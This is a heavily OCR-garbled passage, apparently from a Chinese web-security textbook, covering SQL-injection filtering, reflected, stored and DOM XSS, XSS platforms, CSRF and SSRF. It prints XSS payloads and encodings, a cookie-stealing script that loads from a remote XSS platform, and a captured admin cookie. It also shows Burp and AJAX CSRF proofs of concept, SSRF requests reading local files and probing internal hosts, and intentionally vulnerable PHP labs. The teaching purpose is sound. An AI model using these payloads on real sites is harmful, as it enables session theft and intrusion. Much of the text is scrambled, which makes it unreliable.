1/ ERAN) MySQL A X4 Union, B HINIE PR B AEH Union, (HAE-SEMZWHIE, AL
R
if(strpos($clean, ‘union') !== FALSE &&
preg_match('~(~|[*a-z])union($|[~[a-2])~s"',$clean) != @)
{
$fail= TRUE;
$error="union detect";

}
1 BRAGTRA M RE VP AR “--7 “#” ZEER, BREMELEUMEN
elseif(strpos($clean,'/*"') > 2 ||strpos($clean,'--') !== FALSE
| |strpos($clean,'#') !== FALSE)
{
$fail= TRUE;
$error="comment detect";
}
[ /XYM 2 WAE R, (BRI S RE R X, down MUK
elseif(strpos($clean, 'sleep’) !== FALSE &&
preg_match('~(*|["a-z])sleep($|[~[a-z])~s',$clean) != @)
{
$fail= TRUE;
$error="slown down detect";
}
elseif(strpos($clean, 'benchmark') !== FALSE &&
preg_match('~(*|[*a-z])benchmark($|[~[a-z])~s',$clean) != B)
{
$fail= TRUE;
$error="slown down detect”;
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elseif(strpos($clean, 'load_file') !== FALSE &&
preg_match('~(~|[*a-z])1load_file($|[~[a-2])~s',$clean) != @)
{
$fail= TRUE;
$error="file fun detect";
}
elseif(strpos($clean, 'into outfile') !== FALSE &&
preg_match('~(~|[*a-z])into\s+outfile($|[~[a-z])~s',$clean) != @)
{
$fail= TRUE;
$error="file fun detect";

}

//ERAN) MySQL AS S8 Tl RANAYFY BB WA, (B 0% 0T AR & ) Sl
PR RURAG S

elseif(preg_match('~\([")]*?select~s',$clean) != @)

{
$fail= TRUE;
$error="sub select detect”;
}
if(!empty($fail))
{

fputs(fopen($log_file, 'a+'),"SuserIP||$geturl||$db_string||$error\r\n");
exit("<font size="'5"' color="red'>Safe Alert: Request Error step
2l¢/font>");

}

else

{
return$db_string;

}
}

EREAAT, F—ERE EaJLABSIESQUIANRR, BIRREFERSEH
aJge.
2 EEMRIZES
HIFAPDOMAERED, FEEENE, F1ERBEEEEHESIPDOET
o, MECERGARHTEIRENIEN. MER. E% &Fa.
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4.4 XSSETFH!
4.41 XSSiwRNE

FEUbBIA (Cross-Site Scripting, EFRAXSSE SIS IEILHIATE)
BE—ihEyd b RN S RmERTGRA, BRIBTEAN—Fh. EaPEERrg
REBEAWR, B ENEMRRESEE. BRI EXSSRBIEMTH
&, CIREERRERIRSR (AT L) . AAERINE. =iEflcookieFEih
A=
XSSHHnI LA A= RSB, FHEEFIDOME,

4.4.2 XSSimREE
1. REHEIXSS

REIEIXSSMFRIERFABIXSS, XM AV EER R,

KaEpT: RSB AIMAE A TS EXSSRBIEEIHEAXA BiR
. SBEfREFpEziEEn, RSSERozBirRErnEkhtiTE, RAakRS
BRI EXSSHBNEIRA XS B RTNEESR, N aeE =X BB XSSUABRTE
EHAE, HapAXSSimR.

2 FFfEBIXSS

FFHEBIXSSMFRIFAEIXSS, BEhRIANGH Kk AT BtRIR S 2arI0EE
M+, BEARENREIE.

BEhEHT: XMBEREZ T, BEMESH, KEEETAMINEES, &

| EEHAEREREEREENGTFHRES. BEELFHRS TS Ok, TSR

R A MR AR SRRl Ege . SEMBRAF NS MR EN 7SR,
T, BERASEMIIRNEERERNT.

fpran, EEREEEESRPIIALL S,

<script>alert (/hacker by hacker/) </script>)

LEBFHDESHRE, REEN—1EE. JLES, FEEXSSHINE
AR EERARKAMBRA— AT, FrahRx T RENEFBERAES
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=, MR BEENEABIEE, IBARSIEXSSHEHRIREZAIEA, MiFEE
XSSUAE, BRFEFIANE—ERISEINmE, RiLGeRNZ 4, HERES
EIEvG
3.DOMEIXSS
DOMZFRDocument Object Model, {EFIDOMA]LAEIZFFFIRIAEEERIE
NEFIEFT AN, SRR,
DOMZIXSSESLE— M SRR SIEIXSS, EEETDOMIMASNI SigR
— i,
HTMLARESEE S, xR A 7 DOMIEAE— i, @
iITHTML DOM, WehIRFE T mtgeliEidJavaScriptiftfTifial. FFEHTMUTE (15
/) Beiges, allIeEamERT . HTML DOMZSIIANEI4-80F 7.

|
tHTH® :
<html>
I
| |
TR TR
<head> <body>
| |
[ ]
Tk : B - xk: TE:
<title> href <a> <hl>
TE: E: X
"R "EauERE" AR

E4-80 HTML DOM#R
EMERMESEIFSZTE, SREISNEEN, NSESAREeE—NT
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ZAIDocument object ™IS, FEHEMENFIETS, S RETENN—D
s, BN SR EREE. HiENEN. ILUET) SEIAN ARSI T
1§, NiEsnElTER. EHRER, BFialEAERFaLABIT DOMANZMEXTmE
N, NEFIAEDOMPREIEHEANNT. HTFDOMEEEFHEXT AN,
FTLAZE T DOMEIXSSIRRA R E SRS ERIm a, ERAEEEFiRNESIRIIM
2.

BEEAT: APER—EIE IRHOURL, EHRKEGERR, mEEYS
BXSSHAE. IRSENRNASLMHIFEASSGENEA. BEFANSEEEEX
MEREST, DOMXIZRAEANEXSSIED, SHUFEXSSTRIR.

4.4.3 RIEIXSSIT

MEhttp://192.168.1.101/xss/xss1.phpSERIRIIHAERTE "IN FETH
ARRE, BF B2 e, BaANRENE mie F=Ed, flna
A 117, B RS R, 117 SRR il REch, BEE4-81
Ffrr.

L L] | KESHMEHNFARSENE -
192.168.1.101

ERTARFAS B Nrpt B ETE
ARAFIDRATFES

LB
[ £}

El4-81 g S0 EIHEITE
Hiplalhttp://192.168.1.101/xss/xss1.php?xss_input value="> <img
src=1 onerror=alert (/xss/) />B, HEIRERHTMULEER S <input
type="text"value=""> <img src=1 onerror=alert (/xss/) />">, AJLIEZ, B
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BN [ SAE T valueBERNGE IS, MIAN>AE T inputin®i<, SEEARY
<img src=1 onerror=alert (/xss/) />Z=h% fHTMLUIRE, 20E4-82F 7.

<html>
<head>
<meta http-equiv="Content-Type® conteat="text/html;charset=utf-8" />
<title>xssHAMENFMREIRILR</title>
</hoad>
<body>
<conter>
AOBRNBANTHE BENinputBfvalueMER</ne>
<form action="" method="get">
<h6>MMAGBEROFHE</n6>
<input type="text" name="xss_ input value" value="$f\ "><br />
<input type="submit®>
</form>
<hr>
<input type="text” value=" img src=1 onerror=alert(/xss/) />"> /center>
</body>
</html>

E14-82 BAXSSHES
ETSE, ENSESERN, HfT S <img src=1 onerror=alert (/xss/) />,
JSERZfalert () SECNGESHE, B “/xss/” , WIEA4-83f7.
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E4-83 JEEEERIT T XSSHES

4.4.4 [RSIEIXSSHEBSH
ERSIEIXSS PHPHEST, 1@EIdGETIRESHxss input valuefHH, AGE
idecho#iti—MNinputirss, FHi&xss input valuefERM N inputirdfivalued. %4
. WlAlxss_input_value="><img src=1 onerror=alert (/xss/) />BY, HHZIRER
HTMLEEE g <input type="text"value=""> <img src=1 onerror=alert (/xss/) /
>">, IWEHTMUREEER MRS, <input>iRSHl<img>1r%, m<img>ESHWE
ARRIENEESER R "/xss/” |, AUBSH PR,

4-;%&%&;#};;&@%" TE BN o -§
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<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<title>xss FiFH4h MR ERGE LM</ title>
</head>
<body>
<center>
<he> 1B VH AN 7R R i N # input B value BPEH </he>
<form action="" method="get">
<h&> i A PR B 7 77 4 < /h6>

<input type="text" name="xss_input_value" value="ffiA"><br />

<input type="submit">
</form>
<hr>
<?php
if (isset($_GET['xss_input_value'])) {

echo '<input type="text" value="'.$_GET['xss_input_value'].'">»';

telse{

echo '<input type="text" value="fiili">";

}

?»

</center>
</body>
</html>

4.4.5 fEFEIXSSINE

fEFEIXSSTUESLHIAIRER : REBFBANESER. minE, Aa

1%%#[1 REBAREIEET, FHEEIEENESE

LN

SR E, ME4-84RT
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BMAESHE
FRER
RE:
l R
";‘\" E4-84 MAZEEE
e UBPERENS AT, RRALNBE 28T, FIREFHEGENE4-85 7.
b
7
£ + 3%IM
g e ¥ id title content
i | & Wi 3 BHl @ MR 1)1 2
B
A T &%  g=g i otk o WS )
g E4-85 (RERSSEIIBUEE
&% LN <img src=X onerror=alert (/xss/) />, AEBIRERIHHRIT
g RS, REHAT L <img src=1 onerror=alert (/xss/) />, SEEEHE. KA, X
nn BRIXSSERAME, iRk, HaAARFZURLEESSEH— &= “/xss/” W

I &, WE4-86FT.
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El4-86 F=EEIXSS

4.4.6 EEFEIXSSHIE ST

TEREEIXSSHIPHP{LES S, FRENPOST2EtitlefIZ 4 content, FAGIEEE]
~pn TEAFHEEEXSSH, E M EE T selectEIIEEXSSHHFIET I, HEREM
mE, KB,

Eﬁﬁ%%iﬁ%"ﬁ%»mvm-g

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
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ctitle>fii ili</title>
</head>
<body>
<center>
<h6>4i A B 2 N FE</h6>
<form action="" method="post">»
Priii: <input type="text" name="title"><br />
% <textarea name="content”></textarea><br />
<input type="submit">
</form>»
<hr>
<?php
$con=mysqli_connect("localhost","root",“123456",“test"™);
if (mysqli_connect_errno())
{
echo "MEHERM: " . mysqli_connect_error();
}
if (isset($_POST['title'])) {
$resultl = mysqli_query($con,"insert into xss{ title’, “content’)
VALUES ('".$_POST['title']."','".$_POST[ 'content']."")");
}
$result2 = mysqli_query($con,"select * from xss");
echo "<table border='1'><tractdrbrliic/td><td> N Fic/td>¢/tr>";
while($row = mysqli_fetch_array($result2))
{
echo "<trr><td>”.$row[ "title'] . "<¢/td><td>” .
$row[ 'content']."</td>";
}
echo "¢/table>";
>
</center>
</body>
</html>

LEPERSRINS A <img src=1 onerror=alert (/xss/) />0, HiEESH
HOEAE4-87 .



WWW. glanani. com

id title content

1| <img src=1 onerror=alert(/xss/) /> | 11

BE4-87 FERISUREFRRIXS SIS
ListitlefH BITAERS, WEMAT S <img src=1 onerror=alert (/xss/) /

l >, SEEHE.
A 447 DOMEIXSSIKE

E4-88 HTMLIIE

: DOMBIXSSIREETRESEINIEEEE "B\ ERMAEE, BaF &

b 12 R, MEAK XELBTMANRE" SHAMANCSE, FliXs
§ A “11" WEHE, AEE XELERENNRE B “117 , WE4-88H1E
B 4-89F.
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FR4-89 EiEINEY
L# N\ <img src=1 onerror=alert (/xsss/) />0, B "B &, &
MEEHEEE, WME4-90TR.

http//127.0.0.1 fuss 3 php

[ Enable Post data ] Enable Referrer

E]4-90 DOM XSS
MHTMLIERSHRILES, Fio)SEstihuan () , 1ZERSAWERRED
DOMIBERITEId1 (HHE) NAFEEITERdom input (MAME) KN
&, ME4-91F.

Eﬁﬁ%%iﬁ%"aﬁ»mvm-g

NN
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<html>
‘head>
meta http-equiv="Content-Type” content="text /html:charset=utf-8~
<titlerTest</title
{script type="text/javascript”
function tihuan() {
document. getElementById("idl”). innerHTML = document. getElementById( dom_input”). value;

script
</head
“body
‘center
<h6 id="1d1">ik M L2 Gk i A 14 7 </h6
form action="" method="post”>
input type="text” id="dom_input” value="%iA"><br
input type="button” value="{}#" oneclick="tihuan()”
form
hr

center

</body
</html>

E4-91 HTMLUERS
4.4.8 DOMEIXSSACEE ST

DOMEXSSERFREHTMLEE, HAFERSSRIRE, FiUtERT =
B5RSsEmtTRE, 20 M.
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<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>Test¢/title>
<script type="text/javascript™>
function tihuan(){
document.getElementById("id1").innerHTML =
document.getElementById( "dom_input").value;
}
</script>
</head>
<body>
<center>
<h6 id="id1">iX P 2 BRm AR N F</h6>

<form action="" method="post">
<input type="text" id="dom_input" value="#i\"><br />
<input type="button" value="{{{ii" onclick="tihuan()">
</form>
<hr>

</center>
</body>
</html>

g B Rl atiTavaScriptiitihuan () BB, motihuan () REL
2 \DOMiEE, Bitdocument.getElementByldfXEUIDAId TR, AEETHA
id1REERKiId Idom_inputhfJE, BIEFEMARIE. XA <img sre=1
onerror=alert (/xsss/) />BY, B "B &, WEEHEEE, BHETERRE
BN, FRUEEERAREN, SAZ2EHAIXSSHE.

4.5 XSS
4.5.1 XSSEMRIEa N REsET
XSSEBIEGR:

e <script>alert (1) </script>
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® <img src=x onerror=alert (1) >
® <svg onload=alert (1) >

e <a href=javascript: alert (1) >

= HIXS SIS RIEa)SHS. HTMLEL{ARISFIURLARRS.
1.JS49R55

ISR T PR R mAsaIsRg, A R
o =BT, MBS, EREANO, Bl "e” HI%RES

"\145" ,

o BNT/REEIET, MR, EREHN0, fli e KIS
“\x65" .

o MN7NHEIET, MRV, FEaimkho, Pildl "o AYFRS
"\u0065" .

o X TF—UuHFE, FRESHRICERVE Y XA (Flan  #0\r) .
2 HTMLSL{R4RR3
sk DIk, DISSEEN, flfl "< FRBRE "alt” .
FEERG: s, 7N ASCIASE Unicode 7R3, Ul "&#]
;L B <t SILARES "&#060;” F1 “&#x3c” .
3.URLR3
XEMNURLIRDS, BEMRXURLEREENEE. Ralertifidis, &R
%25%36%31%25%36%63%25%36%35%25%37%32%25%37 %34.
TEERXSSRENIRR, EEEEHTMUSRNIRE, SIS 2imaa

AN, BEEAENREH T,

4.5.2 HEXSSESMEXSSFR
APNE2EHETUIEEXSS TS, AN Bt aEEXSS AL

XSSimiH.

BSEXSSTaHMicTER, Bf HRNmE" K gk =, 18
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E14-92 XSSEAEEA
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e
*  apache Miponly bypass
O
T o AJAX POST/GETH
o  BaUuns
. Jsonplt LR
. HDRSEN
¢ RuUIRBCGRMIEN
o RRAENH
o CSAFRN RN 2N
*  xsaecurterecia fl REARNN
o RRARUEAM! Neds
o MAce
o JetBans el B UA RN
o JeBunaiNeenn
o BRuAR
o  postEANSHEN
o Nl

El4-93 XSSTF&iER
AL &7 SRS, EXRERT, —RAREHTMURSSHEAE
RORIFBIES, LUMAGEISEEAEBITRORES, XEIEE RIS, WE4-04
|
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Lt WEAR

TEER: 1

anaw (function(){(new Tsage()).src=" .. SSov mas..0eent Joa M= mad. .y, Jelocations' sescape(( func
tion() {try{return document. location, href)catchiel{return *‘}})() )+ ‘Steplocat ions"sescape! { function
{Htryfreturn top, location.hreflcatchie) {return **}}) () )+ kcookies' sescape( (function( ) {try{return
docusent, cookielcatchie) (return *'}}) 1))« ‘hopeners'sescapel (fuaction| | (tryireturn (window.opener &

fran & window. opener. Locat ion, href ) uindow. opener. Locat ian. hert: ' Jeatehlel {return IO ;D0

— 110 w1} (hvepenew Inage () jheep. sroa 0t @ Sialiliova an ol v i S B MUT 1o vesc
ape(document . locat ion)+' kcosk ie="vescape( document . cockie) )

/ERArES “resCRIPL SACMIER:/ /X389 W PVe o Ooe/sCripT>

</tEXtArEs “>«ing srocs# iosxssyou stylesgisplay:none onerrorsevalunescape(/varS20MA30docment. cr
catef Lenen INZBN225Cr (PTNIZNIINIBL, s rONIONIZN tPASANI PR Rage Tl 6o S 111, DN2NIBMATA, randomsn2EnD
(NTCdocument . 50dyN29. appendCh i | ON28DN

29038/ . source) )i/ 1>
LI LEULS ] L e B

E4-94 XSSFE I BRIEHE
BRI BRBIEAIEFEXSSTHRENURLE, BEEFAE. AN EIIhT
XSSHIRIFEARAS, WE4-95F7s.

oM AL em et 1 72.98.200 oo
Soon AL
e
Enatie Pestdats  Enabie Ruterer
<htal>
<bead>

<meta http-equiv="Content-Type® conteat="text/html;charset=utf-8* />
<title>xssHMBUNIFARKIEHRE</ citle>
</hoad>
<body>
<center>
RRNBANTFRR BHNinput@fivalveRiER</n6>
<form action+"" method="get">
<h6>MBA TR RRGFHB</n6>
<input type="text’ name="xss_input value® value="IR\"><br />
<input type~"submit”’>

</form>

<hr>

<input type="text” value="</tExtArBa>'"><sCRiPt sRC=http://xss.'n’ b.w aVin B</sCript>"> </center>
</1
</heml>

E4-95 BirAFnRRTSEE
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EIFIXSSFE, sLABEERNESRN 58, Hha& Rt cookie,
IP, NEEEZE, MEAFPATERRE, olfEFcookieFFHENZAFPHK,, WE
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B B#: 1

Domain: £
L]

R 2017-12-01
01:28:37

B unusrmeannss

location : http://127.0.0.1/xs
s1.php?xss_input_value=%

Request Headers

o HTTP_REFERER : http//127
0.0.1/xss1.php?xss _input_v

ICHZFEXIAEa%NIEN27% alue=%3CHZFIEXAEa%3
22%3E%ICsCRIPt sSRC%3 E%27%22%3E%ICsCRIPt
Dhttp%3ANF%2F 11 em +SRCHANNIP KK IF%D
fANERS NN PR RSO BV
T 3E%ICH2FSCrpT HIE

 toplocation : hitp//127.0.0.1 * HTTP_USER_AGENT : Mozil
/xss1 php?xss_input_values 1a/5.0 (Macintosh; Intel Mac
F%ICH2FEArEA%NIEN2T 08 X 10.12; rv:53.0) Gecko/
%22%3ENICSCRIP sSRCY% 20100101 Firefow/53.0
3DhP%IAN2FH2 «1imm ¢ REMOTE 4% 8* 1."8
P . T VR%IC 209
%2FsCripT%3E « IP-ADDR *1o iy

® cookie : csrftoken=2771IkSg)
TA9E4ZbmgR2laPoyp0B9Ca
O; ysre_token=0aSfeaa1b01
1647442c8547186000a17; u
ser_name=admin; user_pass
=08bBe404cB499169034643
bb6M3adc?

B14-96 FEXSSFAREERAFcookielSA

4.5.3 XSSimRiE SN

EAXSSimlRE M SmASHRAE S, RS LS M.

un

o IFEANRIEE, B8 "<t >t on* EHEETH.
o XIHIH BNEAISIRFHTAENAIRASEIE, SIAHTMLSA%RR.

JavaScriptf@is.
4.6 CSRFRR
4.6.1 /MBCSRFiFR
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CSRF (Cross-site request forgery, FEuhig=Rkimig) tLAFFR/I0Ne Click
AttackalZSession Riding, BREIE5 HCSRFELEXSRF, E—fxdMutAEEHIA.
REVERGEMEA (XSS) , (BESXSSIEEARE, XSSHAERAIHSIRA,,
MCSRFNES SR PE ISR, SXSSBGhiEE, CSRFGhAEE
AKiT (IS ESHTHEEARIREAASREL) BELRTE, FLABEAJIEEXSSER
ebarE.

4.6.2 CSRFERRVEE

HCo[LUXFERCSRF: WEEABEREFNSS, LIEREFNE M3
TRUEAELIRME. CSRFEEBMNEEERE: LIBRAPNEN XY, ZEE, &
HEFBFINS, EEWXEm. EUSmEK, XtE AR 7 Bix
ARV %%E.

FENF, (FBEFEMAFPEK1007T, fiafkd "HiIK" Zlia, &L
HTTPIE &S http://www.xxxbank.com/pay.php?user=xx&money=1002{l. 0
WEEERE (http://www.xxbank.com/pay.php?user=hack&money=100) ,
LBEFAFBRTIZURLG, steBaiaHackikSHMK1007T, mEXSREE BirmF
HURME, WEEFRERNBRAFcookiesiEBER.

CSRFEVEGEEIERLL PR ER.

o HirAFESER rMuL, BB TRITLAITIEE.

o BiRAFAE Y KEEIEAIURL,

4.6.3 F|FHCSRFiEH

CSRFmREAEH ARG SRR, RISEOREE. MELMEhRIE A,
E4-97r 7 —MEERS AN ENRE, E5RE "AhE" HHFHEREBurp
Suietilal.
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El4-97 B =R
AILABEZEFBurp Suitedh, B—EfiECSRF PoCIIIEE (HAh
’-'\TA —Engagement tools—Generate CSRF PoC) , #E4-98ff7~.

BHEIUEEH SEH e = 3,._
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st

Send to Spider

Do an active scan
Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser

Change request method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Don't intercept requests
Do intercept

Convert selection
URL-encode as you type
Cut

Copy

Paste

Message editor help
Proxy interception help

B+~ 4l
X+~+R

Find references
Discover content
Schedule task

hémarkdown=ltdate=stags=

E14-98 BurpZEAECSRF PoC
Burp Suite24ER—ERHTMLES, EHTMLARESEIACSRARRATILEAS
3, B “Copy HTML" #&$H, MNE4-99F 7.
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CSRF HTML

<hewis i
<l-~ CSRF PoC - geaerated by Durp Suite Professional -->
<body>
<mm>ﬁu~1 pushStete(’ ', "', "/')</pcript>

Mu- httpt/ /v e /index.php/action post-edit? _=fad fibéal
2010fc5a” method= vsn

<input type="hidden” name="title” wvalue="1" /»

<input t “hidden” neme="text” value="12" /»

<input type="hidden” names"fisldianest#9] ;591" value="" />

T names f1eldTypesi#ilieel; " values" nt l»

<input type=-hidden” names'fieldValuesi#$l;4#s);" values"
<input type~"hidden” name="cid” value="" />
<input type=“hidden” name=‘do” values=". ’.bulh >
<input typew'hidden” name= markdown" vn-o- 1" >
<input type=“hidden” -‘-'l.to valuss""

<input type='hidden” neme=’tags”’ velue="" /> v
23 <) B &3 [rrpeasewrchiem 0 matches
l.m—‘ tl’nlhhvm}[topvmj[cmj

F4-99 Burp&RMIHTMLILES
FECSREMGAATB RME— Wb, FRIHEEShttp://xx.com/1.html,

El4-100F73.
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ene

3 & B.html | No Selection

<html>

8.html

-

<!~~ CSRF PoC - generated by Burp Suite Professional -->

3 <body>

4 <scriptohistory.pushS*assl '’y 'y '4'Ve/script>

<form action="hIip://s™ % « o W« 8¢ 2x.0hp/action/contents-00st-0dit?
f

t <input
J <input
3 <input
<input
<input
n <input
n <input
<input
1w <input
5 <input
1% <input
<input
" <input
<input
<input
<input
<input
L </form>
FL </body>
</html>
» |

EEFSBAPElhttp:/xx.com/1.html, HEFRAFPLTERRKE,
ML TZMitE, BirBrRsaskh—mYE, WE4-101F7mr.

B#ER

types"hidden*
type="hidden"
type=*hidden*
type="hidden*
type=*hidden*
type="hidden"
type=*hidden*
type=“"hidden*
types=*hidden"
type=*hidden"
type=*hidden*
type=*hidden"
type="hidden*
type="hidden*
types*hidden*
type=*hidden”
types=*submit*

* method="POST*>
name="title" value=*1* />
name="text* value=*12* />
nome="fiecldNamesin91;4893;" value=** />
name="fialdTypesl#9l1;4893;" value="str* />
name="fieldValuesh#91;8#93;* value=** />
name="¢id"* value=*" />
namo="do* value="publish* />
name="markdown® value=*1* />
name="date* value=*" />
name="tags* value=** />
name="visibility" value="publish* />
name="password® value=*"* />
name="allowComment™ values*1* />
name="allowPing* value=*1* />
name="allowfeed" values=*1* />
name="trackback® value=** />
value="Submit request” />

E]4-100 A7 CSRF PoCEuseh

XA BT IERL 2 CSRAF FBANTE.

WHXE »wm

avd

4.6.4 S5HCSRFERILE
TENRBESGEHRIBERPIAE, HTIREDN M.
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E4-101 BIrEFREaAR T E
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o FREGET2#{usernamef12#password, ZAfSEiYselectEAEHES
EXXNHIER, MEBFFE, 21819 _SESSIONIZE—session:
isadmin=admin, &llixEsession: isadmin=guest.

o IZ FEHKfsessionPllisadminE& Hadmin, #1FRisadmin! =admin,
RPAPREER, B2NKIERTE. ARGEERERERGABHNTAIIAN
HUERE.

o FRENPOSTZ2#usernamef18#password, #AfEid\usersEh, Thkik
DOFRFHVEREE.
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<?php

session_start();

if (isset($_GET['login'])){
$con=mysqli_connect("localhost”,"root","123456","test");
if (mysqli_connect_errno())
{

echo "#fERN: " . mysqli_connect_error();

}
$username = addslashes($_GET[ 'username']);
$password = $_GET[ 'password’];
$result = mysqli_query($con,”select * from users where

‘username’ ='".$username.”" and ‘password ='".md5($password)."'");
$row = mysqli_fetch_array($result);
if ($row) {

$_SESSION[ 'isadmin'] = 'admin';
exit("GRARIL");

}else{
$_SESSION[ 'isadmin’] = 'guest';
exit("fFakM");
}
}else{
$_SESSION['isadmin'] = 'guest’;
¥
if ($_SESSION['isadmin'] != 'admin'){
exit("BERIGE");
}

if (isset($_POST['submit'])) {
if (isset($_POST['username'])) {
$resultl = mysgli_query($con,"insert into users( username’,

“password” ) VALUES ('".$%_POST['username']."","".md5($_POST[ 'password'])."")");

exit($_POST[ 'username’]. "ikiNmIh");

}

}

?>

LEERINIP Y EEEISENCSRFNEE, 830 —MKS, CSRFFIA
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>

<head>

<script type="text/javascript" language="javascript”>

var pauses = new Array( "16" );

var methods = new Array( "POST" );

var urls = new Array( "http://xxx.com/csrf.php" );

var params = new Array( "submit=18username=1&password=1" );
function pausecomp(millis)

{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}

function run() {
var count = 1;
var i=0;

for(i=0; ic<count; i++)
{
makeXHR(methods[i], urls[i], params[i]);
pausecomp(pauses[i]);
}
}
var http_request = false;
function makeXHR(method, url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html’);

}
} else if (window.ActivexObject) { // IE

try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");

} catch (e) {
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try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");

} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;

}

// http_request.onreadystatechange = alertContents;

if(method == "GET') {
if(url.index0f('?') == -1) {
url = url + '?' + parameters;
} else {
url = url + '&"' + parameters;
}
http_request.open(method, url, true);
http_request.send("");

} else if(method == 'POST') {
http_request.open(method, url, true);
http_request.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length"”, parameters.length);
http_request.setRequestHeader("Connection”, “close");
http_request.send(parameters);

}

}

</script>

</head>

<body onload="run()">

</body>

</html>

IR ERREE—AJAXER, ERAJURLEhttp://xxx.com/
csriphp, 2#(Esubmit=1&username=1&password=1, M _EIARPHPH#ZFa]LL
I, HAAXGERRERNT—NAIEFNRE, BATSRREER, USERN
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4.6.5 CSRFmRIEEEIN

HXICSRFAmRIMES, EHZAEHUATXALEN.

o W& KAUReferer(d, W1EEReferer2 BT LAY, NHRIEZ
BICEEMEES, 2421, ERefererEEMULINZENZH, MADJEEECSRF
Wit BRAlRSSERNHEEZIENK, (BRI FEHsTHIoTEE.

o CSRFIGHEZFRIAREBRITH, ERABGEE TILAMNERFIEK, Biko]

* &1, FEAICSRFIGEISESRIET : EERFBANBEEFLEMENIEE. FITRTIE

HTTPIERPLASHATEZION — B4 token, HIEIRSSE5iRGIFtoken, A1
BERFiGtokenZZtokenlINEAIER, WA MZEKAIEEECSRFBGEE M MIEEIZ
BEK.

4.7 SSRFEH

4.7.1 A BSSRFiER

SSRF (Server-Side Request Forgery, [RSERimEKNE) E—FHEEE
WiEER, HESEARERNZ2RE. —MRER N, SSRFEEHENBREINGTTE
IHRNAEER (ERAERRHESHAEN, MURSHEEKESESEEmS
HMNREINREERS) .

4.7.2 SSRFjmR/FIE

SSRFIVZ R A Z 2R T RS IR IR 7 MEBIRSS BEM FREREEHRNIThEEBiR
B BirttiHHiE SRS, Flil, EERERSIHMIEEURLEIHEREIN AR
&, MEETINERSE, MENERSHINEKRE. SSRAHBFEHRENRWeb
N R E AR A AU BR S5 88

FEEHEH R .

o X7, FRSSERFFEANM. At TimOiH, KB —2iRSMbanner(s

i

o IHIa{THER MBI FEST.



o XS WebM i TiE00R%], IRBIERERIE~EE.

o WFHERINAIHIWeb A, TEEFHEHTTP GETiEdEn] SN S (H

Ulstruts2, SQli%) .

o FFBfileMSOEHA M4,
4.7.3 SSRFiRIEFIFE

SSRFRA ARG AL . http://127.0.0.1/ssrfphp?

l url=http://127.0.0.1/2.php.

Yy WElssriphpHTIRERRIGETSHURL, AEHEURLIVNEIREIFR
e L. MIEEERNMIEER Ahttp://www.baidu.com, MREEEshttp://
1:; www.baidu.comfIRIIAE, WE4-102F7x.
£
Ki = @ T8 & A
m BN el BB
%
= %

g Bai@®EE
S
i
i}

3] F14-102 ERURLRIE

[a V7]

T : B, KgBLHURLINMIBIE, NSSHERMSE, Fii0, 4
url=192.168.0.2: 33068, TUEIRME] “HETHEHEASITEZZIMYySQLIRS S
BH192.168.0.2/FEMySQLARSS, WE4-103f TR,

= 127.0.0.1/ssrf.php?u

F@jHost '192.168.0.1" is not allowed to connect to this MySQL server

. 5
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E4-103 ERURLFMUESRETR
ihajssrfphp?url=file: ///C: /Windows/win.iniBIaliSEEAMS 4, W1E
4-104Ff75=.

i) view-source:http://127.0.0.1/ssrf.php?url =file:///C:./Windows/win.ini

. for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Maill

MAPI=1

El4-104 ERTURLMHU A

4.7.4 SSRFmRAAESHT

FETESSRE.phpth, FEFFRENGETESE{URL, @idcurl init () ¥#Afkcurld
g, BEHURLE Acurl setopt ($ch, CURLOPT URL, $url) , AEEMHRTIA
curl-exec&EKIZURL. HITRSmaRKbannerERIREIE s, ATLARILURIE
bannerf|i FH EEFERELRS, BT,

<?php

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, @);
curl_exec($ch);
curl_close($ch);

}
$url = $_GET['url'];
curl($url);

>
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4.7.5 SSRFmRIESEIN
HXISSRAmRIVES, EHRLAHUTXI LR,
o [REIERAIROREEAWebik[], RAarPARHTTPAIHTTPSAER,
o FREIAESARIARAIIP, LABSIERT PRI TIE.
o FRURENNFEMER.
4.8 X LR
4.8.1 WA HETRRE

R EEMEIWeb N FEigFS, SR —FENaThEE, BATHEE

TIREWSHE, antIMOARS, it HEER, FUR. MEFTEHEMSS
RIS A4, SAmEFFRALINThEEHS , Web M BERIHAINGREA, MEWeb
NP B, BRAEEAPE o LR B e R T A EF g
FigssEet, FKEMILIIRIR, SEH— S EERSEE.
4.8.2 HF3U4 HERIANR
1. 94304 HEFERR
HEHES, MERRSIHAEANE i AR TSRS IR,
Sasankrl A ARSI, B EERASUE (asp. aspx. php. jspF
ERSUE) .
2BE
IEERF R B HENEEHA AR ML, EREFRSEE. X
D EERRASE, NaFRAIWebShell, e[ WebShellBIAFR A—FPMTIS ],
WebSheliIAEEIFEREANIEE, HNEERSEER. RSSEFIUE, HTE
ZmsE,
4.8.3 JSHMIEET

JStelisd HERRE N TRPEEUS EENSE, R HEUENEREA
WerE, WESEESH, bE Ui TR E ALRRESw, RETE imN
taeafEFE)avaScripti I #dE TR, WE4-105f 7.
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« > C @ i) 127.0.0.1/1 htmi

s

E4-105 ZEFim) SN &S HEESE
XEBREM AR AT & is) avaScriptAUiail,
o (EAENEEEATRME, MBI ERAVSHIS, AR HESAEITER.
o EGIBEE HEANEEXALAVT HEN, Wjpg. pngE, STISHIR
, BilG, BESXsa T ARG HERTh, E4-106Fk.
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POST /upload/uploadi.php WTTE/1.1

Host: www.ccotf.cn

